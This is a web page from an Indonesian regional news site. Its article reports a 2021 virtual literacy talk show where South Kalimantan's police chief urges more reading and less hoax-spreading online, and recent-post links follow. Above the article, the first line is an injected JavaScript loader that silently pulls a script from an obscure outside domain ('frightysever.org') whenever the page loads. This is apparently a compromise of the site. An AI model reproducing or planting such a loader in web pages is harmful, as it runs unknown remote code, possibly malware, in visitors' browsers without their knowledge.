(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Memilah Informasi di Medsos, Kapolda Kalsel: Ghibah dan Hoaks Perilaku Literasi Warganet


KANALKALIMANTAN.COM, BANJARMASIN – Memilah informasi guna menghindari ghibah dan penyebaran hoaks bagian dari tingkat literasi seseorang.

Hal itu diutarakan, Kapolda Kalsel Irjen Pol Rikwanto saat menjadi nara sumber talk show virtual “Promosi Minat Baca dan Kecerdasan Literasi” gelaran Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel, Selasa (6/4/2021).

Irjen Pol Rikwanto mengajak masyarakat, terutama generasi muda meningkatkan minat baca dan mengurangi ghibah di era media sosial sekarang ini.

“Perilaku sebagian warganet di media sosial sekarang lebih banyak ghibah, bahkan dengan mudahnya menyebarkan hoaks, di sisi lain minat semakin rendah,” kata Rikwanto.

 

Baca juga: Atur Biaya di TPU, Raperda Retribusi Pelayanan Permakaman Dibahas

Diungkapkan Kapolda Kalsel, di Indonesia tingkat literasi masih rendah. Hasil riset Programme for International Student Asessment (PISA) digagas oleh Organization for Economic Corporation and Development (OECD) disebutkan pada 2018 tingkat literasi di Indonesia berada pada peringkat 74 dari 78 negara dengan skor 371.

“Jangan sampai kita dibandingkan dengan negara Timor-Timur atau Papua Nugini. Harusnya kita dibandingkan dengan Amerika Serikat atau Inggris,” sebut jenderal bintang dua itu.

Untuk itulah, Kapolda meminta semua pihak bekerja sama agar tingkat literasi di Indonesia terus meningkat.

“Upaya ini harus dimulai dari orangtua, guru serta didukung sistem yang dibangun pemerintah,” tandasnya.

Talk show virtual ke-25 Dispersip Kalsel itu dimoderatori jurnalis dan penulis Randu Alamsyah.

talkshow virtual “Promosi Minat Baca dan Kecerdasan Literasi” gelaran Dispersip Kalsel, Selasa (6/4/2021). Foto: dispersip kalsel

Sementara itu, sebelum talk show virtual, Kepala Dispersip Kalsel dra Hj Nurliani Dardie mengatakan, budaya literasi merupakan kecakapan hidup yang diperlukan di abad ke-21 yang harus dimiliki generasi penerus bangsa.

“Literasi harus dimulai dari lingkungan terkecil, seperti keluarga, kemudian sekolah, sampai dengan lingkungan masyarakat. Abad ke-21 membutuhkan anak-anak yang mampu berfikir kritis, kreatif, komunikatif, dan mampu berkolaborasi,” kata Nurliani.

Mau tak mau, kondisi ini menuntut orangtua untuk mendampingi anak-anaknya mampu menguasai kecakapan beragam literasi (multiliterasi).

“Dengan kecerdasan literasi yang baik diharapkan kita tidak mudah terpancing oleh opini dan aliran yang menyesatkan,” kata Kadispersip. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Al Ghifari

Recent Posts

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

51 menit ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

5 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

9 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

10 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

1 hari ago

This website uses cookies.